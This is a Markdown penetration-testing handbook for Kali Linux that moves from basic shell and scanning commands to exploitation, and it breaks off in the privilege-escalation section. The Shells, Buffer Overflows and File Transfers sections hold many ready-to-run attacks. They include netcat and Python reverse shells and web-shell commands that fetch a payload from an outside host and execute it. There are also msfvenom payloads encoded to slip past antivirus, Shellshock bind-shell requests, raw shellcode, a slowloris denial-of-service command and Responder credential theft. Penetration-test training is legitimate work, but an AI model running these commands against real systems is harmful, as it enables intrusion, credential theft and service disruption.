The-Security-Handbook-Kali-Linux

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The-Security-Handbook-Kali-Linux

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A useful reference guide and a handbook of security basics for those starting out.

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# The Security Handbook

This repo is based on the original works by frizb, see Credits.md for further information.

_**`NOTE: This document reffers to the target ip as the export variable $ip.  To set this value on the command line use the following syntax:
export ip=192.168.1.100`**_

## Table of Contents
- [Kali Linux](#kali-linux)
- [Information Gathering & Vulnerability Scanning](#information-gathering--vulnerability-scanning)
  * [Passive Information Gathering](#passive-information-gathering)
  * [Active Information Gathering](#active-information-gathering)
  * [Port Scanning](#port-scanning)
  * [Enumeration](#enumeration)
  * [HTTP Enumeration](#http-enumeration)
- [Buffer Overflows and Exploits](#buffer-overflows-and-exploits)
- [Shells](#shells)
- [File Transfers](#file-transfers)
- [Privilege Escalation](#privilege-escalation)
  * [Linux Privilege Escalation](#linux-privilege-escalation)
  * [Windows Privilege Escalation](#windows-privilege-escalation)
- [Client, Web and Password Attacks](#client-web-and-password-attacks)
  * [Client Attacks](#client-attacks)
  * [Web Attacks](#web-attacks)
  * [File Inclusion Vulnerabilities LFI/RFI](#file-inclusion-vulnerabilities)
  * [Database Vulnerabilities](#database-vulnerabilities)
  * [Password Attacks](#password-attacks)
  * [Password Hash Attacks](#password-hash-attacks)
- [Networking, Pivoting and Tunneling](#networking-pivoting-and-tunneling)
- [The Metasploit Framework](#the-metasploit-framework)
- [Bypassing Antivirus Software](#bypassing-antivirus-software)

Kali Linux
========================================================================================================

-   Set the Target IP Address to the $ip system variable  
    `export ip=192.168.1.100`

-   Find the location of a file  
    `locate sbd.exe`

-   Search through directories in the $PATH environment variable  
    `which sbd`

-   Find a search for a file that contains a specific string in it’s
    name:  
    `find / -name sbd\*`

-   Show active internet connections  
    `netstat -lntp`

-   Change Password  
    `passwd`

-   Verify a service is running and listening  
    `netstat -antp |grep apache`

-   Start a service  
    `systemctl start ssh  `
    `systemctl start apache2`

-   Unzip a gz file  
    `gunzip access.log.gz`

-   Unzip a tar.gz file  
    `tar -xzvf file.tar.gz`

-   Search command history  
    `history | grep phrase\_to\_search\_for`

-   Have a service start at boot  
    `systemctl enable ssh`

-   Stop a service  
    `systemctl stop ssh`

-   Download a webpage  
    `wget [www.cisco.com](http://www.cisco.com)`

-   Open a webpage  
    `curl [www.cisco.com](http://www.cisco.com)`

-   String manipulation

-   Count number of lines in file  
        `wc index.html`

-   Get the start or end of a file  
        `head index.html  `
        `tail index.html`

-   Extract all the lines that contain a string  
        `grep "href=" index.html`

-   Cut a string by a delimiter, filter results then sort  
        `grep "href=" index.html | cut -d "/" -f 3 | grep "\\." | cut -d '"' -f 1 | sort -u`

-   Using Grep and regular expressions and output to a file  
        `cat index.html | grep -o 'http://\[^"\]\*' | cut -d "/" -f 3 | sort –u &gt; list.txt`

-   Use a bash loop to find the IP address behind each host  
        `for url in $(cat list.txt); do host $url; done`

-   Collect all the IP Addresses from a log file and sort by
        frequency  
        `cat access.log | cut -d " " -f 1 | sort | uniq -c | sort -urn`

-   Netcat - Read and write TCP and UDP Packets

-   Connect to a POP3 mail server  
        `nc -nv $ip 110`

-   Listen on TCP/UDP port  
        `nc -nlvp 4444`

-   Connect to a netcat port  
        `nc -nv $ip 4444`

-   Send a file using netcat  
        `nc -nv $ip 4444 &lt; /usr/share/windows-binaries/wget.exe`

-   Receive a file using netcat  
        `nc -nlvp 4444 &gt; incoming.exe`

-   Create a reverse shell with Ncat using cmd.exe on Windows  
        `nc -nlvp 4444 -e cmd.exe`

-   Create a reverse shell with Ncat using bash on Linux  
        `nc -nv $ip 4444 -e /bin/bash`

-   Ncat - Netcat for Nmap project which provides more security avoid
    IDS

-   Reverse shell from windows using cmd.exe using ssl  
        `ncat --exec cmd.exe --allow $ip -vnl 4444 --ssl`

-   Listen on port 4444 using ssl  
        `ncat -v $ip 4444 --ssl`

-   Wireshark
    -   Show only SMTP (port 25) and ICMP traffic:
         `tcp.port eq 25 or icmp`
        
    -   Show only traffic in the LAN (192.168.x.x), between workstations and servers -- no Internet:
        `ip.src==192.168.0.0/16 and ip.dst==192.168.0.0/16`
        
    -   Filter by a protocol ( e.g. SIP ) and filter out unwanted IPs:
        `ip.src != xxx.xxx.xxx.xxx && ip.dst != xxx.xxx.xxx.xxx && sip`
        
    -   Some commands are equal
        `ip.addr == 10.43.54.65`
         Equals
        `ip.src == 10.43.54.65 or ip.dst == 10.43.54.65 `

` ip.addr != 10.43.54.65`
         Equals
         `ip.src != 10.43.54.65 or ip.dst != 10.43.54.65`

-   Tcpdump

-   Display a pcap file  
       `tcpdump -r password\_cracking\_filtered.pcap`

-   Display ips and filter and sort  
        `tcpdump -n -r password\_cracking\_filtered.pcap | awk -F" " '{print $3}' | sort -u | head`

-   Grab a packet capture on port 80  
        `tcpdump tcp port 80 -w output.pcap -i eth0`

-   Check for ACK or PSH flag set in a TCP packet  
        `tcpdump -A -n 'tcp\[13\] = 24' -r password\_cracking\_filtered.pcap`

-   IPTables deny traffic to ports except for Local Loopback

-   `iptables -A INPUT -p tcp --destination-port 13327 \\! -d $ip -j DROP  `
        `iptables -A INPUT -p tcp --destination-port 4444 \\! -d $ip -j DROP`

Information Gathering & Vulnerability Scanning
===================================================================================================================================

-   Passive Information Gathering
    ---------------------------------------------------------------------------------------------------------------------------

-   Google Hacking

-   Google search to find website sub domains  
        `site:microsoft.com`
        `site:[www.microsoft.com](http://www.microsoft.com)`

-   Google filetype, and intitle  
        `intitle:”netbotz appliance” “OK” -filetype:pdf`

-   Google inurl  
        `inurl:”level/15/sexec/-/show”`

-   Google Hacking Database:  
        https://www.exploit-db.com/google-hacking-database/

-   SSL Certificate Testing  
    [*https://www.ssllabs.com/ssltest/analyze.html*](https://www.ssllabs.com/ssltest/analyze.html)

-   Email Harvesting

-   Simply Email  
        `git clone https://github.com/killswitch-GUI/SimplyEmail.git  `
        `./SimplyEmail.py -all -e TARGET-DOMAIN`

-   Netcraft

-   Determine the operating system and tools used to build a site  
        https://searchdns.netcraft.com/

-   Whois Enumeration  
    `whois domain-name-here.com  `
    `whois $ip`

-   Banner Grabbing

-   `nc -v $ip 25`

-   `telnet $ip 25`

-   `nc TARGET-IP 80`

-   Recon-ng - full-featured web reconnaissance framework written in Python

-   `cd /opt; git clone https://LaNMaSteR53@bitbucket.org/LaNMaSteR53/recon-ng.git  `
        `cd /opt/recon-ng  `
        `./recon-ng  `
        `show modules  `
        `help`

-   Active Information Gathering
    --------------------------------------------------------------------------------------------------------------------------

-   DNS Enumeration

-   Host Lookup  
        `host -t ns megacorpone.com`

-   Reverse Lookup Brute Force - find domains in the same range  
        `for ip in $(seq 155 190);do host 50.7.67.$ip;done |grep -v "not found"`

-   Perform DNS IP Lookup  
        `dig a domain-name-here.com @nameserver`

-   Perform MX Record Lookup  
        `dig mx domain-name-here.com @nameserver`

-   Perform Zone Transfer with DIG  
        `dig axfr domain-name-here.com @nameserver`

-   DNS Zone Transfers  
        Windows DNS zone transfer  
        `nslookup -&gt; set type=any -&gt; ls -d blah.com  `
        Linux DNS zone transfer  
        `dig axfr blah.com @ns1.blah.com`

-   Dnsrecon DNS Brute Force  
        `dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml`

-   Dnsrecon DNS List of megacorp  
        `dnsrecon -d megacorpone.com -t axfr`

-   DNSEnum  
        `dnsenum zonetransfer.me`

-   Port Scanning
    -----------------------------------------------------------------------------------------------------------
*Subnet Reference Table*

/ | Addresses | Hosts | Netmask | Amount of a Class C
--- | --- | --- | --- | --- 
/30 | 4 | 2 | 255.255.255.252| 1/64
/29 | 8 | 6 | 255.255.255.248 | 1/32
/28 | 16 | 14 | 255.255.255.240 | 1/16
/27 | 32 | 30 | 255.255.255.224 | 1/8
/26 | 64 | 62 | 255.255.255.192 | 1/4
/25 | 128 | 126 | 255.255.255.128 | 1/2
/24 | 256 | 254 | 255.255.255.0 | 1
/23 | 512 | 510 | 255.255.254.0 | 2
/22 | 1024 | 1022 | 255.255.252.0 | 4
/21 | 2048 | 2046 | 255.255.248.0 | 8
/20 | 4096 | 4094 | 255.255.240.0 | 16
/19 | 8192 | 8190 | 255.255.224.0 | 32
/18 | 16384 | 16382 | 255.255.192.0 | 64
/17 | 32768 | 32766 | 255.255.128.0 | 128
/16 | 65536 | 65534 | 255.255.0.0 | 256

-   Set the ip address as a varble  
     `export ip=192.168.1.100  `
     `nmap -A -T4 -p- $ip`

-   Netcat port Scanning  
     `nc -nvv -w 1 -z $ip 3388-3390`

-   Discover who else is on the network  
     `netdiscover`

-   Discover IP Mac and Mac vendors from ARP  
     `netdiscover -r $ip/24`

-   Nmap stealth scan using SYN  
     `nmap -sS $ip`

-   Nmap stealth scan using FIN  
     `nmap -sF $ip`

-   Nmap Banner Grabbing  
     `nmap -sV -sT $ip`

-   Nmap OS Fingerprinting  
     `nmap -O $ip`

-   Nmap Regular Scan:  
     `nmap $ip/24`

-   Enumeration Scan  
     `nmap -p 1-65535 -sV -sS -A -T4 $ip/24 -oN nmap.txt`

-   Enumeration Scan All Ports TCP / UDP and output to a txt file  
     `nmap -oN nmap2.txt -v -sU -sS -p- -A -T4 $ip`

-   Nmap output to a file:  
     `nmap -oN nmap.txt -p 1-65535 -sV -sS -A -T4 $ip/24`

-   Quick Scan:  
     `nmap -T4 -F $ip/24`

-   Quick Scan Plus:  
     `nmap -sV -T4 -O -F --version-light $ip/24`

-   Quick traceroute  
     `nmap -sn --traceroute $ip`

-   All TCP and UDP Ports  
     `nmap -v -sU -sS -p- -A -T4 $ip`

-   Intense Scan:  
     `nmap -T4 -A -v $ip`

-   Intense Scan Plus UDP  
     `nmap -sS -sU -T4 -A -v $ip/24`

-   Intense Scan ALL TCP Ports  
     `nmap -p 1-65535 -T4 -A -v $ip/24`

-   Intense Scan - No Ping  
     `nmap -T4 -A -v -Pn $ip/24`

-   Ping scan  
     `nmap -sn $ip/24`

-   Slow Comprehensive Scan  
     `nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" $ip/24`

-   Scan with Active connect in order to weed out any spoofed ports designed to troll you  
     `nmap -p1-65535 -A -T5 -sT $ip`

-   Enumeration
    -----------

-   NMap Enumeration Script List:

-   NMap Discovery  
        [*https://nmap.org/nsedoc/categories/discovery.html*](https://nmap.org/nsedoc/categories/discovery.html)

-   Nmap port version detection MAXIMUM power  
        `nmap -vvv -A --reason --script="+(safe or default) and not broadcast" -p &lt;port&gt; &lt;host&gt;`

-   SMB Enumeration

-   SMB OS Discovery  
        `nmap $ip --script smb-os-discovery.nse`

-   Nmap port scan  
        `nmap -v -p 139,445 -oG smb.txt $ip-254`

-   Netbios Information Scanning  
        `nbtscan -r $ip/24`

-   Nmap find exposed Netbios servers  
        `nmap -sU --script nbstat.nse -p 137 $ip`

-   SMB Enumeration Tools  
        `nmblookup -A $ip  `
        `smbclient //MOUNT/share -I $ip -N  `
        `rpcclient -U "" $ip  `
        `enum4linux $ip  `
        `enum4linux -a $ip`

-   SMB Finger Printing  
        `smbclient -L //$ip`

-   Nmap Scan for Open SMB Shares  
        `nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 $ip/24`

-   Nmap scans for vulnerable SMB Servers  
        `nmap -v -p 445 --script=smb-check-vulns --script-args=unsafe=1 $ip`

-   Nmap List all SMB scripts installed  
        `ls -l /usr/share/nmap/scripts/smb\*`

-   Enumerate SMB Users

-   `nmap -sU -sS --script=smb-enum-users -p U:137,T:139 $ip-14`

-   `python /usr/share/doc/python-impacket-doc/examples /samrdump.py $ip`

-   RID Cycling - Null Sessions  
        [*https://www.trustedsec.com/march-2013/new-tool-release-rpc\_enum-rid-cycling-attack/*](https://www.trustedsec.com/march-2013/new-tool-release-rpc_enum-rid-cycling-attack/)

-   `ridenum.py $ip 500 50000 dict.txt`

-   `use auxiliary/scanner/smb/smb\_lookupsid`

-   Manual Null Session Testing

-   Windows: `net use \\\\$ip\\IPC$ "" /u:""`

-   Linux: `smbclient -L //$ip`

-   LLMNR / NBT-NS Spoofing - Steal credentials off the network.

-   Spoof / poison LLMNR / NetBIOS requests:  
        auxiliary/spoof/llmnr/llmnr\_response  
        auxiliary/spoof/nbns/nbns\_response

-   Capture the hashes:  
        auxiliary/server/capture/smb  
        auxiliary/server/capture/http\_ntlm

-   Using Responder to Steal Creds  
        `git clone https://github.com/SpiderLabs/Responder.git  `
        `python Responder.py -i local-ip -I eth0`

-   SMTP Enumeration - Mail Severs

-   Verify SMTP port using Netcat  
        `nc -nv $ip 25`

-   SNMP Enumeration -Simple Network Management Protocol

-   Fix SNMP output values so they are human readable  
        `apt-get install snmp-mibs-downloader download-mibs  `
        `echo "" &gt; /etc/snmp/snmp.conf`

-   SNMP Enumeration Commands

-   `snmpcheck -t $ip -c public`

-   `snmpwalk -c public -v1 $ip 1|`

-   `grep hrSWRunName|cut -d\* \* -f`

-   `snmpenum -t $ip`

-   `onesixtyone -c names -i hosts`

-   SNMPv3 Enumeration  
        `nmap -sV -p 161 --script=snmp-info $ip/24`

- Automate the username enumeration process for SNMPv3: 
 `apt-get install snmp snmp-mibs-downloader `
 `wget <https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb>`

-   SNMP Default Credentials  
        /usr/share/metasploit-framework/data/wordlists/snmp\_default\_pass.txt

-   Linux OS Enumeration

-   List all SUID files  
        `find / -perm -4000 2&gt;/dev/null`

-   Determine the current version of Linux  
        `cat /etc/issue`

-   Determine more information about the environment  
        `uname -a`
        
    -   List processes running  
        `ps -xaf`

-   List the allowed (and forbidden) commands for the invoking use  
        `sudo -l`

-   List iptables rules  
        `iptables --table nat --list  
        iptables -vL -t filter  
        iptables -vL -t nat  
        iptables -vL -t mangle  
        iptables -vL -t raw  
        iptables -vL -t security`

-   Vulnerability Scanning with Nmap

-   Nmap Exploit Scripts  
    [*https://nmap.org/nsedoc/categories/exploit.html*](https://nmap.org/nsedoc/categories/exploit.html)

-   Nmap search through vulnerability scripts  
    `cd /usr/share/nmap/scripts/  
    ls -l \*vuln\*`

-   Nmap search through Nmap Scripts for a specific keyword  
    `ls /usr/share/nmap/scripts/\* | grep ftp`

-   Scan for vulnerable exploits with nmap  
    `nmap --script exploit -Pn $ip`

-   NMap Auth Scripts  
    [*https://nmap.org/nsedoc/categories/auth.html*](https://nmap.org/nsedoc/categories/auth.html)

-   Nmap Vuln Scanning  
    [*https://nmap.org/nsedoc/categories/vuln.html*](https://nmap.org/nsedoc/categories/vuln.html)

-   NMap DOS Scanning  
    `nmap --script dos -Pn $ip  
    NMap Execute DOS Attack  
    nmap --max-parallelism 750 -Pn --script http-slowloris --script-args
    http-slowloris.runforever=true`

-   Scan for coldfusion web vulnerabilities  
    `nmap -v -p 80 --script=http-vuln-cve2010-2861 $ip`

-   Anonymous FTP dump with Nmap  
    `nmap -v -p 21 --script=ftp-anon.nse $ip-254`

-   SMB Security mode scan with Nmap  
    `nmap -v -p 21 --script=ftp-anon.nse $ip-254`

-   File Enumeration

-   Find UID 0 files root execution

-   `/usr/bin/find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \\; 2&gt;/dev/null`

- Get handy linux file system enumeration script (/var/tmp) 
 `wget <https://highon.coffee/downloads/linux-local-enum.sh> `
 `chmod +x ./linux-local-enum.sh `
 `./linux-local-enum.sh`

-   Find executable files updated in August  
        `find / -executable -type f 2&gt; /dev/null | egrep -v "^/bin|^/var|^/etc|^/usr" | xargs ls -lh | grep Aug`

-   Find a specific file on linux  
        `find /. -name suid\*`

-   Find all the strings in a file  
        `strings &lt;filename&gt;`

-   Determine the type of a file  
        `file &lt;filename&gt;`

-   HTTP Enumeration
    ----------------

-   Search for folders with gobuster:  
        `gobuster -w /usr/share/wordlists/dirb/common.txt -u $ip`

-   OWasp DirBuster - Http folder enumeration - can take a dictionary file

- Dirb - Directory brute force finding using a dictionary file 
 `dirb http://$ip/ wordlist.dict `
 `dirb <http://vm/> `
 
 Dirb against a proxy

-   `dirb [http://$ip/](http://172.16.0.19/) -p $ip:3129`

-   Nikto  
        `nikto -h $ip`

-   HTTP Enumeration with NMAP  
        `nmap --script=http-enum -p80 -n $ip/24`

-   Nmap Check the server methods  
        `nmap --script http-methods --script-args http-methods.url-path='/test' $ip`

-   Get Options available from web server
         `curl -vX OPTIONS vm/test`

- Uniscan directory finder: 
 `uniscan -qweds -u <http://vm/>`

-   Wfuzz - The web brute forcer  
          `wfuzz -c -w /usr/share/wfuzz/wordlist/general/megabeast.txt $ip:60080/?FUZZ=test  `
          `wfuzz -c --hw 114 -w /usr/share/wfuzz/wordlist/general/megabeast.txt $ip:60080/?page=FUZZ  `
          `wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt "$ip:60080/?page=mailer&mail=FUZZ"`

-   Open a service using a port knock (Secured with Knockd)  
    for x in 7000 8000 9000; do nmap -Pn --host\_timeout 201
    --max-retries 0 -p $x server\_ip\_address; done

-   WordPress Scan - Wordpress security scanner

-   wpscan --url $ip/blog --proxy $ip:3129

-   RSH Enumeration - Unencrypted file transfer system

-   auxiliary/scanner/rservices/rsh\_login

-   Finger Enumeration

-   finger @$ip

-   finger batman@$ip

-   TLS & SSL Testing

-   ./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U $ip | aha &gt;
        OUTPUT-FILE.html

-   Proxy Enumeration (useful for open proxies)

-   nikto -useproxy http://$ip:3128 -h $ip

-   Steganography

> apt-get install steghide
>
> steghide extract -sf picture.jpg
>
> steghide info picture.jpg
>
> apt-get install stegosuite

-   The OpenVAS Vulnerability Scanner

-   apt-get update  
        apt-get install openvas  
        openvas-setup

-   netstat -tulpn

-   Login at:  
        https://$ip:9392

Buffer Overflows and Exploits
===================================================================================================================================

-   DEP and ASLR - Data Execution Prevention (DEP) and Address Space
    Layout Randomization (ASLR)

-   MSFvenom  
    [*https://www.offensive-security.com/metasploit-unleashed/msfvenom/*](https://www.offensive-security.com/metasploit-unleashed/msfvenom/)

-   Windows Buffer Overflows

-   Controlling EIP

-   locate pattern\_create

-   pattern\_create.rb -l 2700

-   locate pattern\_offset

-   pattern\_offset.rb -q 39694438

-   Verify exact location of EIP - \[\*\] Exact match at offset 2606

-   buffer = "A" \* 2606 + "B" \* 4 + "C" \* 90

-   Check for “Bad Characters” - Run multiple times 0x00 - 0xFF

-   Use Mona to determine a module that is unprotected

-   Bypass DEP if present by finding a Memory Location with Read and
        Execute access for JMP ESP

-   Otherwise without DEP, we can stick our

-   Use NASM to determine the HEX code for a JMP ESP instruction

-   /usr/share/metasploit-framework/tools/exploit/nasm\_shell.rb

-   JMP ESP  
            00000000 FFE4 jmp esp

-   Run Mona in immunity log window to find (FFE4) XEF command

-   !mona find -s "\\xff\\xe4" -m slmfc.dll  
        found at 0x5f4a358f - Flip around for little endian format

-   buffer = "A" \* 2606 + "\\x8f\\x35\\x4a\\x5f" + "C" \* 390

-   MSFVenom to create payload  
        msfvenom -p windows/shell\_reverse\_tcp LHOST=$ip LPORT=443 -f c
        –e x86/shikata\_ga\_nai -b "\\x00\\x0a\\x0d"

-   Final Payload with NOP slide  
        buffer="A"\*2606 + "\\x8f\\x35\\x4a\\x5f" + "\\x90" \* 8 +
        shellcode

-   Create a PE Reverse Shell  
        msfvenom -p windows/shell\_reverse\_tcp LHOST=$ip LPORT=4444
        -f  
        exe -o shell\_reverse.exe

-   Create a PE Reverse Shell and Encode 9 times with
        Shikata\_ga\_nai  
        msfvenom -p windows/shell\_reverse\_tcp LHOST=$ip LPORT=4444
        -f  
        exe -e x86/shikata\_ga\_nai -i 9 -o
        shell\_reverse\_msf\_encoded.exe

-   Create a PE reverse shell and embed it into an existing
        executable  
        msfvenom -p windows/shell\_reverse\_tcp LHOST=$ip LPORT=4444 -f
        exe -e x86/shikata\_ga\_nai -i 9 -x
        /usr/share/windows-binaries/plink.exe -o
        shell\_reverse\_msf\_encoded\_embedded.exe

-   Create a PE Reverse HTTPS shell  
        msfvenom -p windows/meterpreter/reverse\_https LHOST=$ip
        LPORT=443 -f exe -o met\_https\_reverse.exe

-   Linux Buffer Overflows

-   Run Evans Debugger against an app  
        edb --run /usr/games/crossfire/bin/crossfire

-   ESP register points toward the end of our CBuffer  
        add eax,12  
        jmp eax  
        83C00C add eax,byte +0xc  
        FFE0 jmp eax

-   Check for “Bad Characters” Process of elimination - Run multiple
        times 0x00 - 0xFF

-   Find JMP ESP address  
        "\\x97\\x45\\x13\\x08" \# Found at Address 08134597

-   crash = "\\x41" \* 4368 + "\\x97\\x45\\x13\\x08" +
        "\\x83\\xc0\\x0c\\xff\\xe0\\x90\\x90"

-   msfvenom -p linux/x86/shell\_bind\_tcp LPORT=4444 -f c -b
        "\\x00\\x0a\\x0d\\x20" –e x86/shikata\_ga\_nai

-   Connect to the shell with netcat:  
        nc -v $ip 4444
        
Shells
===================================================================================================================================

-   Upload and execute a meterpreter shell using a web shell  
    curl -s --data "cmd=wget http://10.9.0.2:8000/dhn -O /tmp/evil"
    http://$ip/ -b "lang=../upload/1b7d2e8797d863fdf63594e390c18255.gif"
    | head -n3  
    curl -s --data "cmd=chmod 777 /tmp/evil" http://$ip/ -b
    "lang=../upload/1b7d2e8797d863fdf63594e390c18255.gif" | head -n3  
    curl -s --data "cmd=bash -c /tmp/evil" http://$ip/ -b
    "lang=../upload/1b7d2e8797d863fdf63594e390c18255.gif" | head -n3

-   Netcat Shell Listener  
    nc -nlvp 443

-   Spawning a TTY Shell - Break out of Jail or limited shell
         You should almost always upgrade your shell after taking control of an apache or www user.
        (For example when you encounter an error message when trying to run an exploit sh: no job control in this shell )
        (hint: sudo -l to see what you can run)

-   python -c 'import pty; pty.spawn("/bin/sh")'

-   python -c 'import
         socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);
         s.connect(("$ip",1234));os.dup2(s.fileno(),0);
         os.dup2(s.fileno(),1);
         os.dup2(s.fileno(),2);p=subprocess.call(\["/bin/sh","-i"\]);'

-   echo os.system('/bin/bash')

-   /bin/sh -i

-   perl —e 'exec "/bin/sh";'

-   perl: exec "/bin/sh";

-   ruby: exec "/bin/sh"

-   lua: os.execute('/bin/sh')

-   (From within IRB)  
         exec "/bin/sh"

-   (From within vi)  
         :!bash

-   From within vim  
         Breaking out of vim is done by ':!bash':

-   (From within vi)  
         :set shell=/bin/bash:shell

-   (From within nmap)  
         !sh

-   (From within tcpdump)  
         echo $’id\\n/bin/netcat $ip 443 –e /bin/bash’ &gt;
         /tmp/.test  
         chmod +x /tmp/.test  
         sudo tcpdump –ln –I eth- -w /dev/null –W 1 –G 1 –z /tmp/.tst
         –Z root

-   from busybox  
         /bin/busybox telnetd -|/bin/sh -p9999

-   Pen test monkey PHP reverse shell  
    [*http://pentestmonkey.net/tools/web-shells/php-reverse-shel*](http://pentestmonkey.net/tools/web-shells/php-reverse-shell)

-   php-findsock-shell - turns PHP port 80 into an interactive shell  
    [*http://pentestmonkey.net/tools/web-shells/php-findsock-shell*](http://pentestmonkey.net/tools/web-shells/php-findsock-shell)

-   Perl Reverse Shell  
    [*http://pentestmonkey.net/tools/web-shells/perl-reverse-shell*](http://pentestmonkey.net/tools/web-shells/perl-reverse-shell)

-   PHP powered web browser Shell b374k with file upload etc.  
    [*https://github.com/b374k/b374k*](https://github.com/b374k/b374k)

-   Windows reverse shell - PowerSploit’s Invoke-Shellcode script and inject a Meterpreter shell 
    https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1
    
-   Web Backdoors from Fuzzdb (
    https://github.com/fuzzdb-project/fuzzdb/tree/master/web-backdoors

-   msfvenom -p php/meterpreter\_reverse\_tcp LHOST=&lt;Your IP
    Address&gt; LPORT=&lt;Your Port to Connect On&gt; -f raw &gt;
    shell.php  
    cat shell.php | pbcopy && echo '&lt;?php ' | tr -d '\\n' &gt;
    shell.php && pbpaste &gt;&gt; shell.php

-   Compiling Windows Exploits on Kali

-   wget -O mingw-get-setup.exe
        http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download  
        wine mingw-get-setup.exe  
        select mingw32-base

-   cd /root/.wine/drive\_c/windows  
        wget http://gojhonny.com/misc/mingw\_bin.zip && unzip
        mingw\_bin.zip  
        cd /root/.wine/drive\_c/MinGW/bin  
        wine gcc -o ability.exe /tmp/exploit.c -lwsock32  
        wine ability.exe

-   Cross Compiling Exploits

-   gcc -m32 -o output32 hello.c (32 bit)  
        gcc -m64 -o output hello.c (64 bit)

-   Shellshock

- git clone <https://github.com/nccgroup/shocker>

-   ./shocker.py -H TARGET --command "/bin/cat /etc/passwd" -c
        /cgi-bin/status --verbose

-   Shell Shock SSH Forced Command  
        Check for forced command by enabling all debug output with ssh  
        ssh -vvv  
        ssh -i noob noob@$ip '() { :;}; /bin/bash'

-   cat file (view file contents)  
        echo -e "HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () {
        :;}; echo \\$(&lt;/etc/passwd)\\r\\nHost:
        vulnerable\\r\\nConnection: close\\r\\n\\r\\n" | nc TARGET 80

-   Shell Shock run bind shell  
        echo -e "HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () {
        :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\\r\\nHost:
        vulnerable\\r\\nConnection: close\\r\\n\\r\\n" | nc TARGET 80

-   Shell Shock reverse Shell  
        nc -l -p 443

-   Buffer Overflow Exploits

-   Pass 1000 A’s as a parameter  
        ./r00t $(python -c 'print "A" \* 1000')

-   Random Pattern Create  
        /usr/share/metasploit-framework/tools\# ruby pattern\_create.rb
        1000

-   Determine Pattern offset  
        ruby pattern\_offset.rb 0x6a413969

-   Pass shell with offset value  
        env - ./r00t $(python -c 'print "A"\*268 +
        "\\x80\\xfc\\xff\\xbf" + "\\x90"\*16 +
        "\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80"')  
        \# id

-   From Fuzzing to Zero Day  
        https://blog.techorganic.com/2014/05/14/from-fuzzing-to-0-day/

-   Nmap Fuzzers:

-   NMap Fuzzer List  
        [*https://nmap.org/nsedoc/categories/fuzzer.html*](https://nmap.org/nsedoc/categories/fuzzer.html)

-   NMap HTTP Form Fuzzer  
        nmap --script http-form-fuzzer --script-args
        'http-form-fuzzer.targets={1={path=/},2={path=/register.html}}'
        -p 80 $ip

-   Nmap DNS Fuzzer  
        nmap --script dns-fuzz --script-args timelimit=2h $ip -d

File Transfers
============================================================================================================

-   Post exploitation refers to the actions performed by an attacker,
    once some level of control has been gained on his target.

-   Simple Local Web Servers

-   Run a basic http server, great for serving up shells etc  
        python -m SimpleHTTPServer 80

-   Run a basic Python3 http server, great for serving up shells
        etc  
        python3 -m http.server

-   Run a ruby webrick basic http server  
        ruby -rwebrick -e "WEBrick::HTTPServer.new  
        (:Port =&gt; 80, :DocumentRoot =&gt; Dir.pwd).start"

-   Run a basic PHP http server  
        php -S $ip:80

-   Creating a wget VB Script on Windows:  
    [*https://github.com/erik1o6/oscp/blob/master/wget-vbs-win.txt*](https://github.com/erik1o6/oscp/blob/master/wget-vbs-win.txt)

-   Mounting File Shares

-   Mount NFS share to /mnt/nfs  
        mount $ip:/vol/share /mnt/nfs

-   HTTP Put  
    nmap -p80 $ip --script http-put --script-args
    http-put.url='/test/sicpwn.php',http-put.file='/var/www/html/sicpwn.php

-   Uploading Files
    -------------------------------------------------------------------------------------------------------------

-   Upload shell using limited php shell cmd  
        use the webshell to download and execute the meterpreter  
        \[curl -s --data "cmd=wget http://174.0.42.42:8000/dhn -O
        /tmp/evil" http://$ip/files/sh.php  
        \[curl -s --data "cmd=chmod 777 /tmp/evil"
        http://$ip/files/sh.php  
        curl -s --data "cmd=bash -c /tmp/evil" http://$ip/files/sh.php

-   TFTP  
        mkdir /tftp  
        atftpd --daemon --port 69 /tftp  
        cp /usr/share/windows-binaries/nc.exe /tftp/  
        EX. FROM WINDOWS HOST:  
        C:\\Users\\Offsec&gt;tftp -i $ip get nc.exe

-   FTP  
        apt-get update && apt-get install pure-ftpd  
          
        \#!/bin/bash  
        groupadd ftpgroup  
        useradd -g ftpgroup -d /dev/null -s /etc ftpuser  
        pure-pw useradd offsec -u ftpuser -d /ftphome  
        pure-pw mkdb  
        cd /etc/pure-ftpd/auth/  
        ln -s ../conf/PureDB 60pdb  
        mkdir -p /ftphome  
        chown -R ftpuser:ftpgroup /ftphome/  
          
        /etc/init.d/pure-ftpd restart

-   Packing Files

-   Ultimate Packer for eXecutables  
        upx -9 nc.exe

-   exe2bat - Converts EXE to a text file that can be copied and
        pasted  
        locate exe2bat  
        wine exe2bat.exe nc.exe nc.txt

-   Veil - Evasion Framework -
        https://github.com/Veil-Framework/Veil-Evasion  
        apt-get -y install git  
        git clone https://github.com/Veil-Framework/Veil-Evasion.git  
        cd Veil-Evasion/  
        cd setup  
        setup.sh -c

Privilege Escalation
==================================================================================================================

-   Linux Privilege Escalation
    ------------------------------------------------------------------------------------------------------------------------

-   Try the obvious - Maybe the user can sudo to root:  
    sudo su
    
-   Highon.coffee Linux Local Enum 
    `wget https://highon.coffee/downloads/linux-local-enum.sh`

-   Basic Linux Privilege Escalation  
    [*https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/*](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)

-   Linux Privilege Exploit Suggester  
    [*https://github.com/PenturaLabs/Linux\_Exploit\_Suggester*](https://github.com/PenturaLabs/Linux_Exploit_Suggester)

-   Linux post exploitation enumeration and exploit checking tools  
